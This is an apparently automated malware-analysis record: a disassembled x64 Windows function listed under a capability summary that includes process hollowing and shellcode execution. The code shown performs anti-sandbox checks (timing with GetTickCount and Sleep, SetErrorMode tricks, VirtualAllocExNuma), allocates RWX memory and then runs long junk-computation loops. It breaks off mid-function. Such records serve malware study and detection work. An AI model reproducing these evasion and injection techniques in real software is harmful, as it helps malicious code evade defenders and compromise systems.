Function at 0x140001584
Capabilities:
Allocate or change rwx memory
Check for software breakpoints
Check http status code
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Encode data using base64
Execute shellcode via indirect call
Link many functions at runtime
Parse pe header
Resume thread
Use process replacement

Disassembly:
push rbp
push rdi
push rsi
push rbx
mov eax, 0x74d8
call fcn.140050540
sub rsp, rax
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x7440], xmm6
mov dword [rbp + 0x7480], ecx
mov qword [rbp + 0x7488], rdx
call dbg.__main
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x4f68], rax
cmp qword [rbp + 0x4f68], 0
jne 0x14004f4ba
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x4f60], rax
mov rax, qword [rbp + 0x4f60]
call rax
mov dword [rbp + 0x4f5c], eax
mov ecx, 0x35e
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x4f60]
call rax
mov dword [rbp + 0x4f58], eax
mov eax, dword [rbp + 0x4f58]
sub eax, dword [rbp + 0x4f5c]
cmp eax, 0x32c
jbe 0x14004f4ba
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x4f50], rax
cmp qword [rbp + 0x4f50], 0
jne 0x14004f4ba
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x4f48], rax
mov rax, qword [rbp + 0x4f48]
call rax
mov dword [rbp + 0x4f44], eax
mov ecx, 0x371
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x4f48]
call rax
mov dword [rbp + 0x4f40], eax
mov eax, dword [rbp + 0x4f40]
sub eax, dword [rbp + 0x4f44]
cmp eax, 0x33f
jbe 0x14004f4ba
mov ecx, 0x457
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x457
jne 0x14004f4ba
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x4f38], rax
cmp qword [rbp + 0x4f38], 0
je 0x14004f4ba
mov rax, qword [rbp + 0x4f38]
mov edx, 0x4f0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x4f34], eax
mov qword [rbp + 0x4f28], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x4f20], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x4f20]
mov r9d, 0x3000
mov r8d, 0x2f1
mov edx, 0
call rax
mov qword [rbp + 0x4f28], rax
cmp qword [rbp + 0x4f28], 0
je 0x14004f4ba
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x4f18], rax
cmp qword [rbp + 0x4f18], 0
je 0x14004f4ba
mov rax, qword [rbp + 0x4f18]
mov edx, 0x533
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x4f14], eax
mov qword [rbp + 0x4f08], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x4f00], rax
mov rax, qword [rbp + 0x4f00]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x2674680
mov ecx, 0
call rax
mov qword [rbp + 0x4f08], rax
cmp qword [rbp + 0x4f08], 0
je 0x14004f4ba
mov rax, qword [rbp + 0x4f08]
mov edx, 0x2674680
mov rcx, rax
call dbg.RtlSecureZeroMemory
mov rax, qword [rbp + 0x4f08]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov ecx, 0x410
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x410
jne 0x14004f4ba
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x4efc], 0
mov dword [rbp + 0x743c], 0xffffffff
add dword [rbp + 0x743c], 1
call sym.rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x6bca1af3
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x4ef8], eax
mov ecx, dword [rbp + 0x4ef8]
mov eax, ecx
shl eax, 3
add eax, ecx
add eax, eax
add eax, ecx
sub edx, eax
mov dword [rbp + 0x4ef8], edx
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140058270]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x4ef8]
movq xmm0, rax
call dbg.ldexp
movq rax, xmm0
mov qword [rbp + 0x4ef0], rax
cmp dword [rbp + 0x743c], 0x8b
jle 0x140001941
mov qword [rbp + 0x7430], 0
mov dword [rbp + 0x4eec], 0x48
mov dword [rbp + 0x7438], 1
jmp 0x140001a07
mov eax, dword [rbp + 0x7438]
cdqe
add qword [rbp + 0x7430], rax
add dword [rbp + 0x7438], 1
mov eax, dword [rbp + 0x7438]
cmp eax, dword [rbp + 0x4eec]
jle 0x1400019f1
mov ecx, 0x8a0
call sym.malloc
mov qword [rbp + 0x4ee0], rax
mov ecx, 0x8a0
call sym.malloc
mov qword [rbp + 0x4ed8], rax
mov dword [rbp + 0x7424], 0
jmp 0x140001ad0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x7424]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x4ee0]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x7424], 1
cmp dword [rbp + 0x7424], 0x113
jle 0x140001a46
mov dword [rbp + 0x7424], 0
jmp 0x140001b3e
mov eax, dword [rbp + 0x7424]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x4ee0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7424]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x4ed8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x7424], 1
cmp dword [rbp + 0x7424], 0x113
jle 0x140001aec
mov dword [rbp + 0x7420], 0
jmp 0x140001b9b
call sym.rand
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140058270]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.exp
movq rax, xmm0
mov qword [rbp + 0x13c8], rax
add dword [rbp + 0x7420], 1
cmp dword [rbp + 0x7420], 0xb6
jle 0x140001b56
mov dword [rbp + 0x7418], 0xe6
mov dword [rbp + 0x741c], 0xe6
jmp 0x140001bcb
sub dword [rbp + 0x7418], 1
sub dword [rbp + 0x741c], 1
cmp dword [rbp + 0x741c], 0x4c
jg 0x140001bbd
mov dword [rbp + 0x7414], 0
mov ecx, 0x5a30
call sym.malloc
mov qword [rbp + 0x4ed0], rax
mov dword [rbp + 0x7410], 0xb4
jmp 0x140001c02
sub dword [rbp + 0x7410], 1
cmp dword [rbp + 0x7410], 0
jg 0x140001bfb
mov dword [rbp + 0x4ecc], 0
mov ecx, 0x7e8
call sym.malloc
mov qword [rbp + 0x4ec0], rax
mov ecx, 0x7e8
call sym.malloc
mov qword [rbp + 0x4eb8], rax
mov ecx, 0x7e8
call sym.malloc
mov qword [rbp + 0x4eb0], rax
mov dword [rbp + 0x740c], 0
jmp 0x140001d43
mov dword [rbp + 0x7408], 0
jmp 0x140001d2f
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 4
cdq
sub ecx, edx
imul edx, ecx, 0x32
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x740c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x4ec0]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x7408]
cdqe
movss dword [rdx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 4
cdq
sub ecx, edx
imul edx, ecx, 0x32
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x740c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x4eb8]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x7408]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7408], 1
cmp dword [rbp + 0x7408], 0x15
jle 0x140001c66
add dword [rbp + 0x740c], 1
cmp dword [rbp + 0x740c], 0x16
jle 0x140001c57
mov dword [rbp + 0x740c], 0
jmp 0x140001e32
mov dword [rbp + 0x7408], 0
jmp 0x140001e1e
mov eax, dword [rbp + 0x740c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x4ec0]
add rdx, rax
mov eax, dword [rbp + 0x7408]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x740c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x4eb8]
add rdx, rax
mov eax, dword [rbp + 0x7408]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x740c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x4eb0]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x7408]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7408], 1
cmp dword [rbp + 0x7408], 0x15
jle 0x140001d6e
add dword [rbp + 0x740c], 1
cmp dword [rbp + 0x740c], 0x16
jle 0x140001d5f
mov rax, qword [rbp + 0x4ec0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x4eb8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x4eb0]
mov rcx, rax
call sym.free
mov dword [rbp + 0x4eac], 0
mov ecx, 0xb28
call sym.malloc
mov qword [rbp + 0x4ea0], rax
mov ecx, 0xb28
call sym.malloc
mov qword [rbp + 0x4e98], rax
mov ecx, 0xb28
call sym.malloc
mov qword [rbp + 0x4e90], rax
mov dword [rbp + 0x7404], 0
jmp 0x140001fa6
mov dword [rbp + 0x7400], 0
jmp 0x140001f92
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 4
cdq
sub ecx, edx
imul edx, ecx, 0x32
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x7404]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x4ea0]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x7400]
cdqe
movss dword [rdx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 4
cdq
sub ecx, edx
imul edx, ecx, 0x32
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x7404]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x4e98]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x7400]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7400], 1
cmp dword [rbp + 0x7400], 0x14
jle 0x140001ec7
add dword [rbp + 0x7404], 1
cmp dword [rbp + 0x7404], 0x21
jle 0x140001eb8
mov dword [rbp + 0x7404], 0
jmp 0x140002098
mov dword [rbp + 0x7400], 0
jmp 0x140002084
mov eax, dword [rbp + 0x7404]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x4ea0]
add rdx, rax
mov eax, dword [rbp + 0x7400]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7404]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x4e98]
add rdx, rax
mov eax, dword [rbp + 0x7400]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7404]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x4e90]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x7400]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7400], 1
cmp dword [rbp + 0x7400], 0x14
jle 0x140001fd1
add dword [rbp + 0x7404], 1
cmp dword [rbp + 0x7404], 0x21
jle 0x140001fc2
mov rax, qword [rbp + 0x4ea0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x4e98]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x4e90]
mov rcx, rax
call sym.free
mov ecx, 0xd0
call sym.malloc
mov qword [rbp + 0x4e88], rax
mov ecx, 0xd0
call sym.malloc
mov qword [rbp + 0x4e80], rax
mov ecx, 0xd0
call sym.malloc
mov qword [rbp + 0x4e78], rax
mov ecx, 0xd0
call sym.malloc
mov qword [rbp + 0x4e70], rax
mov dword [rbp + 0x73f8], 0x33
mov dword [rbp + 0x73fc], 0
jmp 0x1400021c2
call sym.rand
mov edx, dword [rbp + 0x73fc]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x4e88]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sym.rand
mov edx, dword [rbp + 0x73fc]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x4e80]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x73fc], 1
cmp dword [rbp + 0x73fc], 0x33
jle 0x14000212f
mov dword [rbp + 0x73fc], 0
jmp 0x14000225e
mov eax, dword [rbp + 0x73f8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x4e88]
add rax, rdx
mov edx, dword [rbp + 0x73fc]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x4e78]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x73f8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x4e80]
add rax, rdx
mov edx, dword [rbp + 0x73fc]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x4e70]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x73f8], 1
add dword [rbp + 0x73fc], 1
cmp dword [rbp + 0x73fc], 0x33
jle 0x1400021de
mov rax, qword [rbp + 0x4e88]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x4e80]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x4e78]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x4e70]
mov rcx, rax
call sym.free
mov dword [rbp + 0x4e6c], 0
mov ecx, 0x850
call sym.malloc
mov qword [rbp + 0x4e60], rax
mov ecx, 0x850
call sym.malloc
mov qword [rbp + 0x4e58], rax
mov ecx, 0x850
call sym.malloc
mov qword [rbp + 0x4e50], rax
mov dword [rbp + 0x73f4], 0
jmp 0x1400023e5
mov dword [rbp + 0x73f0], 0
jmp 0x1400023d1
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
mov ecx, edx
sar ecx, 5
cdq
sub ecx, edx
imul edx, ecx, 0x1f4
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x73f4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x4e60]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x73f0]
cdqe
movss dword [rdx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
mov ecx, edx
sar ecx, 5
cdq
sub ecx, edx
imul edx, ecx, 0x1f4
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x73f4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x4e58]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x73f0]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x73f0], 1
cmp dword [rbp + 0x73f0], 0x25
jle 0x140002302
add dword [rbp + 0x73f4], 1
cmp dword [rbp + 0x73f4], 0xd
jle 0x1400022f3
mov dword [rbp + 0x73f4], 0
jmp 0x1400024ef
mov dword [rbp + 0x73f0], 0
jmp 0x1400024db
mov eax, dword [rbp + 0x73f4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x4e60]
add rdx, rax
mov eax, dword [rbp + 0x73f0]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x73f4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x4e58]
add rdx, rax
mov eax, dword [rbp + 0x73f0]
cdqe
movss xmm1, dword [rdx + rax*4]
divss xmm0, xmm1
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movq xmm0, rax
call dbg.sqrt
mov eax, dword [rbp + 0x73f4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x4e50]
add rdx, rax
cvtsd2ss xmm0, xmm0
mov eax, dword [rbp + 0x73f0]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x73f0], 1
cmp dword [rbp + 0x73f0], 0x25
jle 0x140002410
add dword [rbp + 0x73f4], 1
cmp dword [rbp + 0x73f4], 0xd
jle 0x140002401
mov rax, qword [rbp + 0x4e60]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x4e58]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x4e50]
mov rcx, rax
call sym.free
mov dword [rbp + 0x742c], 0
jmp 0x1400033e4
mov dword [rbp + 0x73ec], 0xaa
jmp 0x14000254b
sub dword [rbp + 0x73ec], 1
cmp dword [rbp + 0x73ec], 0x5e
jg 0x140002544
mov ecx, 0x298
call sym.malloc
mov qword [rbp + 0x1470], rax
mov dword [rbp + 0x73e8], 0
jmp 0x1400025be
call sym.rand
mov edx, dword [rbp + 0x73e8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1470]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x73e8], 1
cmp dword [rbp + 0x73e8], 0xa5
jle 0x140002571
mov dword [rbp + 0x73e8], 0
jmp 0x1400026d6
mov dword [rbp + 0x13d4], 0
jmp 0x1400026b8
mov eax, dword [rbp + 0x73e8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1470]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x13d4]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x1470]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x1400026b1
mov eax, dword [rbp + 0x13d4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1470]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x13d0], eax
mov eax, dword [rbp + 0x73e8]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1470]
add rax, rdx
mov edx, dword [rbp + 0x13d4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1470]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x13d4]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1470]
add rdx, rax
mov eax, dword [rbp + 0x13d0]
mov dword [rdx], eax
add dword [rbp + 0x73e8], 1
mov eax, 0xa5
sub eax, dword [rbp + 0x73e8]
cmp dword [rbp + 0x13d4], eax
jl 0x1400025e8
add dword [rbp + 0x73e8], 1
cmp dword [rbp + 0x73e8], 0xa5
jle 0x1400025d9
mov rax, qword [rbp + 0x1470]
mov rcx, rax
call sym.free
mov dword [rbp + 0x73e0], 1
jmp 0x1400027b1
mov dword [rbp + 0x73e4], 0
mov eax, dword [rbp + 0x73e0]
mov dword [rbp + 0x73dc], eax
jmp 0x140002787
mov edx, dword [rbp + 0x73dc]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x13d8], edx
mov eax, dword [rbp + 0x13d8]
imul eax, eax
imul eax, dword [rbp + 0x13d8]
add dword [rbp + 0x73e4], eax
mov eax, dword [rbp + 0x73dc]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x73dc], eax
cmp dword [rbp + 0x73dc], 0
jne 0x14000271c
mov eax, dword [rbp + 0x73e4]
cmp eax, dword [rbp + 0x73e0]
jne 0x1400027aa
mov eax, dword [rbp + 0x73e0]
mov dword [rbp + 0x13dc], eax
add dword [rbp + 0x73e0], 1
cmp dword [rbp + 0x73e0], 0x87
jle 0x140002704
mov dword [rbp + 0x73d8], 0xffffffff
mov ecx, 0x4d8
call sym.malloc
mov qword [rbp + 0x1468], rax
mov ecx, 0x4d8
call sym.malloc
mov qword [rbp + 0x1460], rax
add dword [rbp + 0x73d8], 1
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x73d8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1468]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x73d8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1468]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x73d8]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1460]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x73d8], 0x99
jle 0x1400027ed
mov ecx, 0x610
call sym.malloc
mov qword [rbp + 0x1458], rax
mov ecx, 0x610
call sym.malloc
mov qword [rbp + 0x1450], rax
mov dword [rbp + 0x73d0], 0x183
mov dword [rbp + 0x73d4], 0
jmp 0x140002957
call sym.rand
mov edx, dword [rbp + 0x73d4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1458]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x73d4], 1
cmp dword [rbp + 0x73d4], 0x183
jle 0x14000290a
mov dword [rbp + 0x73d4], 0
jmp 0x1400029b6
mov eax, dword [rbp + 0x73d0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1458]
add rax, rdx
mov edx, dword [rbp + 0x73d4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1450]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x73d0], 1
add dword [rbp + 0x73d4], 1
cmp dword [rbp + 0x73d4], 0x183
jle 0x14000296f
mov rax, qword [rbp + 0x1458]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1450]
mov rcx, rax
call sym.free
mov dword [rbp + 0x7428], 0
jmp 0x1400033d0
mov ecx, 0x6c0
call sym.malloc
mov qword [rbp + 0x1448], rax
mov ecx, 0x6c0
call sym.malloc
mov qword [rbp + 0x1440], rax
mov ecx, 0x6c0
call sym.malloc
mov qword [rbp + 0x1438], rax
mov dword [rbp + 0x73cc], 0
jmp 0x140002b19
mov dword [rbp + 0x73c8], 0
jmp 0x140002b05
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x73cc]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x1448]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x73c8]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x73cc]
movsxd rcx, eax
mov rax, rcx
add rax, rax
